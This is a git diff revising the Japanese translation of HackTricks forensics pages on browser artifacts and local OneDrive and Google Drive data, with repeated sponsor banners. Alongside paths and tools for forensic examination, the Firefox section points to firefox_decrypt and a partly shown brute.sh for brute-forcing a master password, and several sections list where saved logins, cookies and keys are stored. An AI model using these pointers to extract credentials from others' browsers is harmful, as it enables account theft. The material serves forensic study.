-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業や顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} -
-**htARTE (HackTricks AWS Red Team Expert)**を使って、ゼロからヒーローまでAWSハッキングを学ぶ +**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。 +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 6be48f0a7..91834b7da 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -2,77 +2,77 @@
-htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからヒーローまでAWSハッキングを学ぶ +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する -- ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする +* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。
-
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## ブラウザのアーティファクト -ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、Webブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、一般的に類似したデータ型を保存しつつも、ブラウザごとに異なる場所と名前でオペレーティングシステム内の特定のフォルダに保持されます。 +ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、Webブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、オペレーティングシステム内の特定のフォルダに保管され、ブラウザごとに場所と名前が異なりますが、一般的には類似したデータ型を保存しています。 -以下は、最も一般的なブラウザのアーティファクトの要約です: +以下は、最も一般的なブラウザのアーティファクトの概要です: -- **ナビゲーション履歴**:ユーザーがWebサイトを訪れた履歴で、悪意のあるサイトへの訪問を特定するのに役立ちます。 -- **オートコンプリートデータ**:頻繁な検索に基づいた提案で、ナビゲーション履歴と組み合わせると洞察を提供します。 -- **ブックマーク**:ユーザーが保存したサイトで、迅速なアクセスのためです。 -- **拡張機能とアドオン**:ユーザーがインストールしたブラウザの拡張機能やアドオン。 -- **キャッシュ**:Webコンテンツ(画像、JavaScriptファイルなど)を保存してWebサイトの読み込み時間を短縮するための貴重なデータ。 -- **ログイン情報**:保存されたログイン資格情報。 -- **Favicons**:タブやブックマークに表示されるWebサイトに関連付けられたアイコンで、ユーザーの訪問に関する追加情報に役立ちます。 -- **ブラウザセッション**:オープンされたブラウザセッションに関連するデータ。 -- **ダウンロード**:ブラウザを介してダウンロードされたファイルの記録。 -- **フォームデータ**:Webフォームに入力された情報で、将来の自動入力提案のために保存されます。 -- **サムネイル**:Webサイトのプレビュー画像。 -- **Custom Dictionary.txt**:ユーザーがブラウザの辞書に追加した単語。 +* **ナビゲーション履歴**: ユーザーがWebサイトを訪れた履歴で、悪意のあるサイトへの訪問を特定するのに役立ちます。 +* **オートコンプリートデータ**: 頻繁な検索に基づいた提案で、ナビゲーション履歴と組み合わせると洞察を提供します。 +* **ブックマーク**: ユーザーが保存したサイトへのクイックアクセス。 +* **拡張機能とアドオン**: ユーザーがインストールしたブラウザの拡張機能やアドオン。 +* **キャッシュ**: Webコンテンツ(画像、JavaScriptファイルなど)を保存してWebサイトの読み込み時間を短縮するための貴重な情報。 +* **ログイン情報**: 保存されたログイン資格情報。 +* **Favicons**: タブやブックマークに表示されるWebサイトに関連付けられたアイコンで、ユーザーの訪問に関する追加情報に役立ちます。 +* **ブラウザセッション**: 開いているブラウザセッションに関連するデータ。 +* **ダウンロード**: ブラウザを介してダウンロードされたファイルの記録。 +* **フォームデータ**: Webフォームに入力された情報で、将来の自動入力提案のために保存されます。 +* **サムネイル**: Webサイトのプレビュー画像。 +* **Custom Dictionary.txt**: ユーザーがブラウザの辞書に追加した単語。 ## Firefox -Firefoxは、プロファイル内のユーザーデータをオペレーティングシステムに基づいて特定の場所に保存します: +Firefox は、プロファイル内のユーザーデータをオペレーティングシステムに基づいた特定の場所に保存します: -- **Linux**:`~/.mozilla/firefox/` -- **MacOS**:`/Users/$USER/Library/Application Support/Firefox/Profiles/` -- **Windows**:`%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` +* **Linux**: `~/.mozilla/firefox/` +* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` +* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -これらのディレクトリ内にある`profiles.ini`ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini`と同じディレクトリにある`profiles.ini`内の`Path`変数で名前が付けられたフォルダに保存されます。プロファイルのフォルダが見つからない場合は、削除されている可能性があります。 +これらのディレクトリ内には `profiles.ini` ファイルがあり、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini` と同じディレクトリにある `Path` 変数で名前が付けられたフォルダに保存されます。プロファイルのフォルダが存在しない場合、削除されている可能性があります。 -各プロファイルフォルダ内には、いくつかの重要なファイルがあります: +各プロファイルフォルダ内には、いくつかの重要なファイルがあります: -- **places.sqlite**:履歴、ブックマーク、ダウンロードを保存します。Windows上の[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)などのツールを使用して履歴データにアクセスできます。 -- 履歴とダウンロード情報を抽出するために特定のSQLクエリを使用します。 -- **bookmarkbackups**:ブックマークのバックアップが含まれています。 -- **formhistory.sqlite**:Webフォームデータを保存します。 -- **handlers.json**:プロトコルハンドラを管理します。 -- **persdict.dat**:カスタム辞書の単語。 -- **addons.json**および**extensions.sqlite**:インストールされたアドオンと拡張機能に関する情報。 -- **cookies.sqlite**:Cookieの保存先で、Windows上で[MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)を使用して検査できます。 -- **cache2/entries**または**startupCache**:キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)などのツールを介してアクセスできます。 -- **favicons.sqlite**:Faviconsを保存します。 -- **prefs.js**:ユーザー設定と環境設定。 -- **downloads.sqlite**:古いダウンロードデータベースで、現在はplaces.sqliteに統合されています。 -- **thumbnails**:Webサイトのサムネイル。 -- **logins.json**:暗号化されたログイン情報。 -- **key4.db**または**key3.db**:機密情報を保護するための暗号化キーを保存します。 +* **places.sqlite**: 履歴、ブックマーク、ダウンロードを保存します。Windows 上の [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) のようなツールを使用して履歴データにアクセスできます。 +* 履歴とダウンロード情報を抽出するために特定のSQLクエリを使用します。 +* **bookmarkbackups**: ブックマークのバックアップが含まれています。 +* **formhistory.sqlite**: Webフォームデータを保存します。 +* **handlers.json**: プロトコルハンドラを管理します。 +* **persdict.dat**: カスタム辞書の単語。 +* **addons.json** および **extensions.sqlite**: インストールされたアドオンと拡張機能に関する情報。 +* **cookies.sqlite**: Cookie の保存場所で、Windows 上で [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) を使用して検査できます。 +* **cache2/entries** または **startupCache**: キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html) のようなツールを使用してアクセスできます。 +* **favicons.sqlite**: Favicons を保存します。 +* **prefs.js**: ユーザー設定と環境設定。 +* **downloads.sqlite**: 以前のダウンロードデータベースで、現在は places.sqlite に統合されています。 +* **thumbnails**: Webサイトのサムネイル。 +* **logins.json**: 暗号化されたログイン情報。 +* **key4.db** または **key3.db**: 機密情報を保護するための暗号化キーを保存します。 -さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js`内で`browser.safebrowsing`エントリを検索して、セーフブラウジング機能が有効か無効かを確認できます。 +さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js` 内で `browser.safebrowsing` エントリを検索して、セーフブラウジング機能が有効か無効かを確認できます。 -マスターパスワードを復号化しようとする場合は、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)を使用できます。\ -次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます: +マスターパスワードを復号化しようとする場合は、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt) を使用できます\ +次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます: {% code title="brute.sh" %} ```bash @@ -87,7 +87,7 @@ done < $passfile ``` {% endcode %} -![](<../../../.gitbook/assets/image (417).png>) +![](<../../../.gitbook/assets/image (692).png>) ## Google Chrome @@ -97,20 +97,20 @@ Google Chromeは、オペレーティングシステムに基づいて特定の - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -これらのディレクトリ内で、ほとんどのユーザーデータは **Default/** または **ChromeDefaultData/** フォルダにあります。重要なデータを保持する以下のファイルがあります: +これらのディレクトリ内で、ほとんどのユーザーデータは **Default/** または **ChromeDefaultData/** フォルダにあります。次のファイルには重要なデータが含まれています: -- **History**: URL、ダウンロード、検索キーワードを含む。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) を使用して履歴を読むことができます。"Transition Type" 列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。 -- **Cookies**: Cookieを保存。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) が利用できます。 -- **Cache**: キャッシュされたデータを保持。検査するために、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) を利用できます。 +- **History**: URL、ダウンロード、検索キーワードが含まれます。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) を使用して履歴を読むことができます。"Transition Type" 列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。 +- **Cookies**: クッキーが保存されます。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) が利用できます。 +- **Cache**: キャッシュされたデータが保存されます。検査するには、Windowsユーザーは [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) を利用できます。 - **Bookmarks**: ユーザーのブックマーク。 -- **Web Data**: フォーム履歴を含む。 -- **Favicons**: ウェブサイトのファビコンを保存。 -- **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含む。 +- **Web Data**: フォームの履歴が含まれます。 +- **Favicons**: ウェブサイトのファビコンが保存されます。 +- **Login Data**: ユーザー名やパスワードなどのログイン資格情報が含まれます。 - **Current Session**/**Current Tabs**: 現在のブラウジングセッションとオープンされているタブに関するデータ。 -- **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッション中にアクティブだったサイトに関する情報。 +- **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッションでアクティブだったサイトに関する情報。 - **Extensions**: ブラウザの拡張機能やアドオンのためのディレクトリ。 -- **Thumbnails**: ウェブサイトのサムネイルを保存。 -- **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイル。 +- **Thumbnails**: ウェブサイトのサムネイルが保存されます。 +- **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイルです。 - **ブラウザの組み込みのフィッシング対策**: フィッシング対策やマルウェア保護が有効になっているかどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` を実行します。出力で `{"enabled: true,"}` を探します。 ## **SQLite DBデータの回復** @@ -123,19 +123,19 @@ Internet Explorer 11 は、格納された情報とそれに対応する詳細 ### メタデータの保存 -Internet Explorerのメタデータは `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(VX は V01、V16、または V24)に保存されます。これに加えて、`V01.log` ファイルは `WebcacheVX.data` との修正時間の不一致を示す場合があり、`esentutl /r V01 /d` を使用して修復が必要となります。このメタデータは ESEデータベースに格納されており、photorec や [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) などのツールを使用して回復および検査が可能です。**Containers** テーブル内では、各データセグメントが格納されている特定のテーブルやコンテナが識別でき、Skypeなどの他のMicrosoftツールのキャッシュの詳細も含まれます。 +Internet Explorerのメタデータは `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(VX は V01、V16、または V24)に保存されます。これに加えて、`V01.log` ファイルは `WebcacheVX.data` との修正時間の不一致を示す場合があり、`esentutl /r V01 /d` を使用して修復が必要となります。このメタデータは ESEデータベースに格納されており、photorec や [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) などのツールを使用して回復および検査が可能です。**Containers** テーブル内では、各データセグメントが保存されている特定のテーブルやコンテナを識別することができ、Skypeなどの他のMicrosoftツールのキャッシュの詳細も含まれます。 ### キャッシュの検査 -[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) ツールを使用すると、キャッシュデータの抽出フォルダの場所が必要となり、キャッシュに関するメタデータにはファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュの作成、アクセス、修正、有効期限の時間が示されます。 +[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) ツールを使用すると、キャッシュの検査が可能で、キャッシュデータの抽出フォルダの場所が必要です。キャッシュのメタデータには、ファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュの作成、アクセス、修正、有効期限の時間が示されます。 -### Cookieの管理 +### クッキーの管理 -Cookieは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用して調査でき、メタデータには名前、URL、アクセス回数、さまざまな時間に関する詳細が含まれます。永続的なCookieは `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` に保存され、セッションCookieはメモリに保存されます。 +クッキーは [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用して調査でき、メタデータには名前、URL、アクセス回数、さまざまな時間に関する詳細が含まれます。永続的なクッキーは `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` に保存され、セッションクッキーはメモリに保存されます。 ### ダウンロードの詳細 -ダウンロードのメタデータは [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) を使用してアクセスでき、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが格納されます。物理ファイルは `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` にあります。 +ダウンロードのメタデータは [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) を使用してアクセスでき、特定のコンテナには URL、ファイルタイプ、ダウンロード場所などのデータが保存されています。物理ファイルは `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` にあります。 ### 閲覧履歴 @@ -150,7 +150,7 @@ Cookieは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html) を使用 Microsoft Edgeは、ユーザーデータを `%userprofile%\Appdata\Local\Packages` に保存します。さまざまなデータタイプのパスは次のとおりです: - **プロファイルパス**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` -- **履歴、Cookie、ダウンロード**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` +- **履歴、クッキー、ダウンロード**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` - **設定、ブックマーク、読書リスト**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` - **キャッシュ**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` - **最後のアクティブセッション**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` @@ -159,22 +159,22 @@ Microsoft Edgeは、ユーザーデータを `%userprofile%\Appdata\Local\Packag Safariのデータは `/Users/$User/Library/Safari` に保存されます。主要なファイルは次のとおりです: -- **History.db**: URLと訪問時刻を含む `history_visits` および `history_items` テーブルが含まれています。クエリを実行するには `sqlite3` を使用します。 -- **Downloads.plist**: ダウンロードしたファイルに関する情報。 -- **Bookmarks.plist**: ブックマークされたURLを保存します。 -- **TopSites.plist**: 最も頻繁に訪れるサイト。 -- **Extensions.plist**: Safariブラウザの拡張機能のリスト。取得するには `plutil` または `pluginkit` を使用します。 -- **UserNotificationPermissions.plist**: 通知をプッシュすることが許可されたドメイン。解析するには `plutil` を使用します。 -- **LastSession.plist**: 最後のセッションからのタブ。解析するには `plutil` を使用します。 -- **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` を使用して確認します。応答が1の場合、機能が有効になっています。 +- **History.db**: `history_visits` と `history_items` テーブルが含まれ、URLと訪問時刻が保存されています。`sqlite3` を使用してクエリを実行します。 +- **Downloads.plist**: ダウンロードしたファイルに関する情報が含まれています。 +- **Bookmarks.plist**: ブックマークされたURLが保存されます。 +- **TopSites.plist**: 最も頻繁に訪れるサイトが含まれます。 +- **Extensions.plist**: Safariブラウザの拡張機能のリストが含まれます。`plutil` または `pluginkit` を使用して取得します。 +- **UserNotificationPermissions.plist**: 通知をプッシュすることが許可されたドメインが含まれます。`plutil` を使用して解析します。 +- **LastSession.plist**: 最後のセッションからのタブが含まれます。`plutil` を使用して解析します。 +- **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` を使用して確認します。応答が 1 の場合、機能が有効になっています。 ## Opera -Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` に保存され、履歴とダウンロードに関してはChromeと同じ形式を共有しています。 +Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` に保存され、履歴やダウンロードに関してはChromeと同じ形式を共有しています。 -- **ブラウザの組み込みのフィッシング対策**: `fraud_protection_enabled` が `true` に設定されているかどうかを確認するには、`grep` を使用して `Preferences` ファイル内で確認します。 +- **ブラウザの組み込みのフィッシング対策**: `fraud_protection_enabled` が `true` に設定されているかどうかを確認するには、`grep` を使用して確認します。 -これらのパスとコマンドは、異なるWebブラウザによって保存されるブラウジングデータにアクセスして理解するために重要です。 +これらのパスとコマンドは、異なるウェブブラウザによって保存されるブラウジングデータにアクセスして理解するために重要です。 ## 参考文献 @@ -183,7 +183,7 @@ Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) - **書籍: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
+
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** できます。\ @@ -193,11 +193,11 @@ Operaのデータは `/Users/$USER/Library/Application Support/com.operasoftware
-**htARTE (HackTricks AWS Red Team Expert)** で**ゼロからヒーローまでのAWSハッキング**を学びましょう! +**htARTE (HackTricks AWS Red Team Expert)** で **ゼロからヒーローまでのAWSハッキング** を学びましょう! HackTricks をサポートする他の方法: -* もし**HackTricks**であなたの**企業が宣伝されるのを見たい**か、**PDF形式のHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください +* もし**HackTricksで会社を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **💬[Discordグループ](https://discord.gg/hRep4RUj7f)に参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 6ea26ede9..8f6eda025 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -2,91 +2,91 @@
-htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからヒーローまでAWSハッキングを学びましょう! +htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks\_live**](https://twitter.com/hacktricks\_live) -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする +* **HackTricks** と **HackTricks Cloud** のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
-
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\ +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## OneDrive -Windowsでは、OneDriveフォルダを`\Users\\AppData\Local\Microsoft\OneDrive`で見つけることができます。そして、`logs\Personal`内にある`SyncDiagnostics.log`ファイルには、次のような興味深いデータが含まれています: +Windowsでは、OneDriveフォルダを `\Users\\AppData\Local\Microsoft\OneDrive` に見つけることができます。そして、`logs\Personal` 内にある `SyncDiagnostics.log` ファイルには、次のような興味深いデータが含まれています: -- バイト単位のサイズ -- 作成日 -- 変更日 -- クラウド内のファイル数 -- フォルダ内のファイル数 -- **CID**:OneDriveユーザーのユニークID -- レポート生成時刻 -- OSのHDのサイズ +* バイト単位のサイズ +* 作成日 +* 変更日 +* クラウド内のファイル数 +* フォルダ内のファイル数 +* **CID**: OneDriveユーザーのユニークID +* レポート生成時刻 +* OSのHDのサイズ -CIDを見つけたら、**このIDを含むファイルを検索**することをお勧めします。OneDriveと同期されたファイルの名前が記載されている可能性がある_**\.ini**_および_**\.dat**_という名前のファイルを見つけることができるかもしれません。 +CIDを見つけたら、**このIDを含むファイルを検索**することをお勧めします。OneDriveと同期されたファイルの名前が _**\.ini**_ および _**\.dat**_ である可能性があり、これらにはOneDriveと同期されたファイルの名前など、興味深い情報が含まれているかもしれません。 ## Google Drive -Windowsでは、メインのGoogle Driveフォルダを`\Users\\AppData\Local\Google\Drive\user_default`で見つけることができます。\ -このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれたSync\_log.logというファイルがあります。削除されたファイルも、対応するMD5とともにそのログファイルに表示されます。 +Windowsでは、メインのGoogle Driveフォルダを `\Users\\AppData\Local\Google\Drive\user_default` に見つけることができます。\ +このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれた Sync\_log.log というファイルが含まれています。削除されたファイルも、その対応するMD5とともにそのログファイルに表示されます。 